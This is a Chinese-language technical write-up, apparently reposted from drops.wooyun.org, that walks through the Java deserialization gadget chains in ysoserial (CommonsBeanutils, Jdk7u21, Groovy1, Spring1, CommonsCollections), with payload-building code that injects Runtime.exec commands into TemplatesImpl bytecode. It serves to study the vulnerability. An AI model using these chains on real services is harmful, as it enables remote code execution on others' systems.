<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/14317

                    0x00 前言


                    關于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections這個庫,造成的反序列化問題。然而,在下載老外的ysoserial工具并仔細看看后,我發現了許多值得學習的知識。

                    至少能學到如下內容:

                    java反序列化不僅是有Apache Commons Collections這樣一種玩法。還有如下payload玩法:

                    上面標注了payload使用情況下所依賴的包,諸位可以在源碼中看到,根據實際情況選擇。

                    通過對該攻擊代碼的分析,可以學習java的一些有意思的知識。而且,里面寫的java代碼也很值得學習,巧妙運用了反射機制去解決問題。老外寫的POC還是很精妙的。

                    0x01 準備工作


                    導入后,可以看到里面有8個payload。其中ObjectPayload是定義的接口,所有的Payload需要實現這個接口的getObject方法。下面就開始對這些payload進行簡要的分析。

                    0x02 payload分析


                    1. CommonsBeanutilsCollectionsLogging1

                    該payload的要求依賴包挺多的,可能碰到的情況不會太多,但用到的技術是極好的。對這個payload執行的分析,請閱讀參考資源第一個的分析文章。

                    這里談談我的理解。先直接看代碼:

                    #!java
                    public Object getObject(final String command) throws Exception {
                        final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
                        // mock method name until armed
                        final BeanComparator comparator = new BeanComparator("lowestSetBit");
                    
                        // create queue with numbers and basic comparator
                        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
                        // stub data for replacement later
                        queue.add(new BigInteger("1"));
                        queue.add(new BigInteger("1"));
                    
                        // switch method called by comparator
                        Reflections.setFieldValue(comparator, "property", "outputProperties");
                        //Reflections.setFieldValue(comparator, "property", "newTransformer");
                        //這里由于比較器的代碼,只能訪問內部屬性。所以選擇outputProperties屬性。 進而調用getOutputProperties方法。  @angelwhu
                    
                        // switch contents of queue
                        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
                        queueArray[0] = templates;
                        queueArray[1] = templates;
                    
                        return queue;
                    }
                    

                    第一行代碼final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);創建了TemplatesImpl類的對象,里面封裝了我們需要的命令執行代碼。而且是使用字節碼的形式存儲在對象屬性中。
                    下面就具體分析下這個對象的產生過程。

                    (1) 利用TemplatesImpl類存儲危險的字節碼

                    在產生字節碼時,用到了JDK中javassist類。具體了解可以參考這篇博客http://www.cnblogs.com/hucn/p/3636912.html
                    下面是我編寫的一個簡單的樣例程序,便于理解:

                    #!java
                    @Test
                    public void testClassPool() throws CannotCompileException, NotFoundException, IOException
                    {
                        String command = "calc";
                    
                        ClassPool pool = ClassPool.getDefault();
                        pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class));
                        CtClass cc = pool.get(angelwhu.model.Point.class.getName());
                        //System.out.println(angelwhu.model.Point.class.getName());
                    
                        cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
                        //加入關鍵執行代碼,生成一個靜態函數。
                    
                        String newClassNameString = "angelwhu.Pwner" + System.nanoTime();
                        cc.setName(newClassNameString);
                    
                        CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);
                        cc.addMethod(mthd);
                    
                        cc.writeFile();
                    }
                    

                    上述代碼首先獲取到class定義的容器ClassPool,并找到了我自定義的Point類,由此生成了cc對象。這樣就可以開始對類進行修改的任意操作了。而且這個操作是直接寫字節碼。這樣可以繞過許多安全機制,正像工具中注釋說的:

                    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

                    后面的操作便是利用我自定義的模板類Point,生成新的類名,并使用insertAfter方法插入了惡意java代碼,執行命令。有興趣的可以再詳細了解這個類的用法。這里不再贅述。

                    這段代碼運行后,會在當前目錄生成字節碼(class文件)。使用java反編譯器可看到源碼,在原始模板類中插入了惡意靜態代碼,而且以字節碼的形式直接存儲。命令行直接運行,可以執行彈出計算器的命令:

                    現在看看老外工具中,生成字節碼的代碼為:

                    #!java
                    public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
                        final TemplatesImpl templates = new TemplatesImpl();
                    
                        // use template gadget class
                        ClassPool pool = ClassPool.getDefault();
                        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
                        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
                        // run command in static initializer
                        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
                        clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
                        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
                        clazz.setName("ysoserial.Pwner" + System.nanoTime());
                    
                        final byte[] classBytes = clazz.toBytecode();
                    
                        // inject class bytes into instance
                        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                            classBytes,
                            ClassFiles.classAsBytes(Foo.class)});
                    
                        // required to make TemplatesImpl happy
                        Reflections.setFieldValue(templates, "_name", "Pwnr");
                        Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
                        return templates;
                    }  
                    

                    根據以上樣例分析,可以清楚看見:前面幾行代碼,即生成了我們需要的插入了惡意java代碼的字節碼數據。該字節碼其實可以看做是一個類(.class)文件。final byte[] classBytes = clazz.toBytecode();將其轉成了二進制數據進行存儲。

                    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});這里又來到了一個有趣知識,那就是java反射機制的強大。ysoserial工具封裝了使用反射機制對對象的一些操作,可以直接借鑒。

                    具體可以看看其源碼,這里在工具中經常使用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,便是使用反射機制,將obj對象的fieldName屬性賦值為value。反射機制的強大之處在于:

                    于是,我們便將com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類生成的對象templates中的_bytecodes屬性,_name屬性,_tfactory屬性賦值成我們希望的值。

                    重點在于_bytecodes屬性,里面存儲了我們的惡意java代碼。現在的問題便是:如何觸發加載我們的惡意java字節碼?

                    (2) 觸發TemplatesImpl類加載_bytecodes屬性中的字節碼

                    在TemplatesImpl類中存在執行鏈:

                    #!java
                    TemplatesImpl.getOutputProperties()
                      TemplatesImpl.newTransformer()
                        TemplatesImpl.getTransletInstance()
                          TemplatesImpl.defineTransletClasses()
                            ClassLoader.defineClass()
                            Class.newInstance()
                              ...
                                MaliciousClass.<clinit>()
                                //class新建初始化對象后,會執行惡意類中的靜態方法,即:我們插入的惡意java代碼
                                  ...
                                    Runtime.exec()//這里可以是任意java代碼,比如:反彈shell等等。  
                    

                    這在ysoserial工具中的注釋中是可以看到的。在源碼中,我們從TemplatesImpl.getOutputProperties()開始跟蹤,不難發現上面的執行鏈。最終會在getTransletInstance方法中看到如下觸發加載自定義ja字節碼部分的代碼:

                    #!java
                    private Translet getTransletInstance()
                    throws TransformerConfigurationException {
                        .............
                        if (_class == null) defineTransletClasses();//通過ClassLoader加載字節碼,存儲在_class數組中。
                    
                        // The translet needs to keep a reference to all its auxiliary 
                        // class to prevent the GC from collecting them
                        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建實例,觸發惡意代碼。  
                       ............
                    

                    defineTransletClasses()方法中,會加載我們之前存儲在_bytecodes屬性中的字節碼(可以看做類文件),進而返回類的Class對象,存儲在_class數組中。下面是調試時候的截圖:

                    可以看到在defineTransletClasses()后,得到類的Class對象。然后會執行newInstance()操作,新建一個實例,這樣便觸發了我們插入的靜態惡意java代碼。如果接著單步執行,便會彈出計算器。

                    通過以上分析,可以看到:

                    (3) 利用BeanComparator比較器觸發執行

                    我們接著看payload的代碼:

                    #!java
                    final BeanComparator comparator = new BeanComparator("lowestSetBit");
                    
                    // create queue with numbers and basic comparator
                    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
                    // stub data for replacement later
                    queue.add(new BigInteger("1"));
                    queue.add(new BigInteger("1"));  
                    

                    很簡單,將PriorityQueue(優先級隊列)插入兩個元素,而且需要一個實現了Comparator接口的比較器,對元素進行比較,并對元素進行排隊處理。具體可以看看PriorityQueue類的readObject()方法。

                    #!java
                    private void readObject(java.io.ObjectInputStream s)
                        throws java.io.IOException, ClassNotFoundException {
                        ...........
                        queue = new Object[size];
                        // Read in all elements.
                        for (int i = 0; i < size; i++)
                            queue[i] = s.readObject();
                        // Elements are guaranteed to be in "proper order", but the
                        // spec has never explained what that might be.
                        heapify();
                    }   
                    

                    從對象反序列化過程原理,可以知道會首先調用該對象readObject()。當然在序列化過程中會首先調用該對象的writeObject()方法。這兩個方法可以對比著看,方便理解。

                    首先,在序列化PriorityQueue類實例時,會依次讀取隊列中的對象,并放到數組中進行存儲。queue[i] = s.readObject();然后,進行排序操作heapify();。最終會到達這里,調用比較器的compare()方法,對元素間進行比較。

                    #!java
                    private void siftDownUsingComparator(int k, E x) {
                        .........................
                            if (comparator.compare(x, (E) c) <= 0)
                                break;
                        .........................
                    
                    }
                    

                    這里傳進去的,便是BeanComparator比較器:位于commons-beanutils包。
                    于是,看看比較器的compare方法。

                    #!java
                    public int compare( T o1, T o2 ) {
                            ..................
                            Object value1 = PropertyUtils.getProperty( o1, property );
                            Object value2 = PropertyUtils.getProperty( o2, property );
                            return internalCompare( value1, value2 );     
                            ..................    
                    }
                    

                    o1,o2便是要比較的兩個對象,property即我們需要比較對象中的屬性(可控)。一開始property賦值為lowestSetBit,后來改成真正需要的outputProperties屬性。

                    PropertyUtils.getProperty( o1, property )顧名思義,便是取出o1對象中property屬性的值。而實際上會去調用o1.getProperty()方法得到property屬性值。

                    到這里,可以畫上完美的一個圈了。我們只需將前面構造好的TemplatesImpl對象添加到PriorityQueue(優先級隊列)中,然后設置比較器為BeanComparator("outputProperties")即可。
                    那么,在反序列化過程中,會自動調用TemplatesImpl.getOutputProperties()方法。執行命令了。

                    個人總結觀點:

                    為了在生成payload時,能夠正常運行。在代碼中,先象征性地加入了兩個BigInteger對象。
                    后面使用反射機制,將comparator中的屬性和queue容器存儲的對象都改成我們需要的屬性和對象。
                    否則,在生成payload時,便會彈出計算器,拋出異常,無法正常執行了。測試如下:

                    2. Jdk7u21

                    payload其實是JAVA SE的一個漏洞,ysoserial工具注釋中有鏈接:https://gist.github.com/frohoff/24af7913611f8406eaf3。該payload不需要使用任何第三方庫文件,只需官方提供的JDK即可,這個很方便啊。 不知Jdk7u21以后怎么補的,先來看看它的實現。

                    在介紹完上面這個payload后,再來看這個可以發現:CommonsBeanutilsCollectionsLogging1借鑒了Jdk7u21的利用方法。

                    同樣,Jdk7u21開始便創建了一個存儲了惡意java字節碼數據的TemplatesImpl類對象。接下來就是怎么觸發的問題了:如何自動觸發TemplatesImplgetOutputProperties方法。

                    這里首先就有一個有趣的hash碰撞問題了。

                    (1) "f5a5a608"的hash值為0

                    類的hashCode方法是返回一個獨一無二的hash值(int型),去代表這個唯一對象。如果類沒有重寫hashCode方法,會調用原始Object類中的hashCode方法返回一個hash值。
                    String類的hashCode方法是這么實現的。

                    #!java    
                    public int hashCode() {
                        int h = hash;
                        int len = count;
                        if (h == 0 && len > 0) 
                        {
                            int off = offset;
                            char val[] = value;
                            for (int i = 0; i < len; i++) {
                                h = 31*h + val[off++];
                            }
                            hash = h;
                        }
                        return h;
                    }
                    

                    于是,就有了有趣的值:

                    #!java
                    String zeroHashCodeStr = "f5a5a608";
                    int hash3 = zeroHashCodeStr.hashCode();
                    System.out.println(hash3);
                    

                    可以看到"f5a5a608"字符串,通過hashCode方法生成的hash值為0。這在之后的觸發過程中會用到。

                    (2) 利用動態代理機制觸發執行

                    Jdk7u21中使用了HashSet容器進行觸發。添加了兩個對象,一個是存儲了惡意java字節碼數據的TemplatesImpl類對象templates,一個是代理了Templates接口的proxy對象,使用了動態代理機制。

                    如下是Jdk7u21生成payload時的主要代碼:

                    #!java
                    ......
                    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
                    ......
                    LinkedHashSet set = new LinkedHashSet(); // maintain order
                    set.add(templates);
                    set.add(proxy);
                    ......
                    return set;
                    

                    HashSet容器,就可以當做是一個HashMap<key,new Object()>key便是我們存儲進去的數據,對應的value都只是靜態的Object對象。

                    同樣,來看看HashSet容器中的readObject方法。

                    #!java
                    private void readObject(java.io.ObjectInputStream s)
                        throws java.io.IOException, ClassNotFoundException {
                    
                    ....................
                    // Read in all elements in the proper order.
                        for (int i=0; i<size; i++) {
                            E e = (E) s.readObject();
                            map.put(e, PRESENT);
                        }//添加set數據
                    }
                    

                    實際上,這里map可以看做是HashMap類生成的對象。接著追蹤源碼就到了關鍵的地方:

                    #!java
                    public V put(K key, V value) {
                        .........
                        int hash = hash(key.hashCode());
                        int i = indexFor(hash, table.length);
                        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
                            Object k;
                            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此處邏輯,需要使其觸發key.equals(k)操作。
                                ..........
                            }
                        }
                        .........
                    }
                    

                    通過以上分析下可以知道:在反序列化HashSet過程中,會依次將templatesproxy對象添加到map中。

                    接著我們需要觸發代碼去執行key.equals(k)這條語句。
                    由于短路機制的原因,必須使templates.hashCode()proxy.hashCode()計算值相等。

                    proxy使用了動態代理機制,代理了Templates接口。具體請參考其他分析老外LazyMap觸發Apache Commons Collections第三庫序列化問題的文章,如:參考資料2。

                    這里又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler類。
                    簡而言之,我理解為將對象proxy所有的方法調用,都改成調用sun.reflect.annotation.AnnotationInvocationHandler類的invoke()方法。

                    當我們調用proxy.hashCode()方法時,自然就會執行到了如下代碼:

                    #!java
                    public Object invoke(Object proxy, Method method, Object[] args) {
                        String member = method.getName();
                        ............
                        if (member.equals("hashCode"))
                            return hashCodeImpl();
                            ..........
                    
                    private int hashCodeImpl() {
                        int result = 0;
                        for (Map.Entry<String, Object> e : memberValues.entrySet()) {
                            result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()為0。"f5a5a608".hashCode()=0;
                                memberValueHashCode(e.getValue());
                        }
                        return result;
                    }
                    

                    這里的memberValues就是payload代碼一開始傳進去的map("f5a5a608",templates)。簡要畫圖說明為:

                    因此,通過動態代理機制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。
                    這樣便可以執行key.equals(k),即:proxy.equals(templates)語句。

                    接著查看源碼便知:proxy.equals(templates)操作會遍歷Templates接口的所有方法,并調用。如此,即可觸發調用templatesgetOutputProperties方法。

                    #!java
                    if (member.equals("equals") && paramTypes.length == 1 &&
                            paramTypes[0] == Object.class)
                            return equalsImpl(args[0]);
                    
                    ..........................
                     private Boolean equalsImpl(Object o) {
                    ..........................
                        for (Method memberMethod : getMemberMethods()) {
                            String member = memberMethod.getName();
                            Object ourValue = memberValues.get(member);
                    ..........................
                                    hisValue = memberMethod.invoke(o);//觸發調用getOutputProperties方法
                    

                    如此,Jdk7u21payload便也完美觸發了。

                    同樣,為了正常生成payload不拋出異常。先暫時存儲map.put(zeroHashCodeStr, "foo");,后面替換為真正我們所需的對象:map.put(zeroHashCodeStr, templates); // swap in real object

                    總結一下:

                    計算hash值部分的內容還挺有意思。有興趣可以到參考鏈接中github上看看我的測試代碼。

                    3. Groovy1

                    這個payload和最近Xstream反序列化漏洞的POC原理有相似性。請參考:http://drops.wooyun.org/papers/13243

                    下面談談這個payload不一樣的地方。 payload使用了Groovy庫中ConvertedClosure類。該類實現了InvocationHandlerSerializable接口,同樣可以用作動態代理并且可以序列化傳輸。代碼也只有幾行:

                    #!java
                    final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
                    final Map map = Gadgets.createProxy(closure, Map.class);        
                    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
                    return handler;
                    

                    當反序列化handler時,會調用map.entrySet方法。于是,就調用代理類ConvertedClosureinvoke方法了。最終,來到了:

                    #!java
                    public Object invokeCustom(Object proxy, Method method, Object[] args)
                    throws Throwable {
                        if (methodName!=null && !methodName.equals(method.getName())) return null;
                        return ((Closure) getDelegate()).call(args);//傳入的是MethodClosure
                    }  
                    

                    然后和XStream一樣,調用MethodClosure.doCall()方法。即:Groovy語法中"command".execute(),順利執行命令。

                    個人總結:

                    4. Spring1

                    Spring1這個payload執行鏈有些復雜。按照常規步驟來分析下:

                    很明顯的嗅到了感興趣的"味道":ReflectionUtils.invokeMethod。接下來聯系payload源碼跟進下,或者單步調試。

                    這是明顯的一部分調用,在執行Templates(Proxy).newTransformer()時,會有余下過程發生:

                    #!java        
                    typeTemplatesProxy對象.invoke() 
                        method.invoke(objectFactoryProxy對象.getObject(), args);
                            objectFactoryProxy對象.getObject()
                                AnnotationInvocationHandler.invoke()
                                    HashMap.get("getObject")//返回templates對象    
                        Method.invoke(templates對象,args)
                            TemplatesImpl.newTransformer()
                            .......//觸發加載含有惡意java字節碼的操作
                    

                    這里面是對象之間的調用,還有動態代理機制,容易繞暈,就說到這里。有興趣可以單步調試看看。

                    個人總結:

                    5. CommonsCollections

                    CommonsCollections類,ysoserial工具中存在四種利用方法。所用的方法都是與上面幾個payload類似。

                    很直接調用了transformer.transform(obj1),這里的obj1就是payload中的templates對象。
                    主要代碼為:

                    #!java
                    // mock method name until armed
                    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
                    
                    // create queue with numbers and basic comparator
                    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));     
                    .........
                    // switch method called by comparator
                    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
                    //使用反射機制改變私有變量~ 不然,會在之前就執行命令,無法生成序列化數據。
                    //反序列化時,會調用TemplatesImpl的newTransformer方法。 
                    

                    根據熟悉的InvokerTransformer作用,最終會調用templates.newTransformer()執行惡意java代碼。

                    查看InstantiateTransformertransform方法,可以看到關鍵代碼:

                    #!java
                    Constructor con = ((Class) input).getConstructor(iParamTypes);  //input為TrAXFilter.class
                    return con.newInstance(iArgs);
                    

                    即:transformer執行鏈會執行new TrAXFilter(templatesImpl)。正好,TrAXFilter類構造函數中調用了templates.newTransformer()方法。都是套路啊。

                    #!java
                    public TrAXFilter(Templates templates)  throws 
                    TransformerConfigurationException
                    {
                        _templates = templates;
                        _transformer = (TransformerImpl) templates.newTransformer();//觸發執行命令
                        _transformerHandler = new TransformerHandlerImpl(_transformer);
                        _useServicesMechanism = _transformer.useServicesMechnism();
                    }
                    

                    照例生成PriorityQueue<Object> queue后,使用反射機制對其屬性進行修改。保證成功生成payload。

                    個人總結:payload分析完了,里面涉及的方法很巧妙。也有許多共同的利用特性,值得學習~~

                    0x03 參考資料


                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频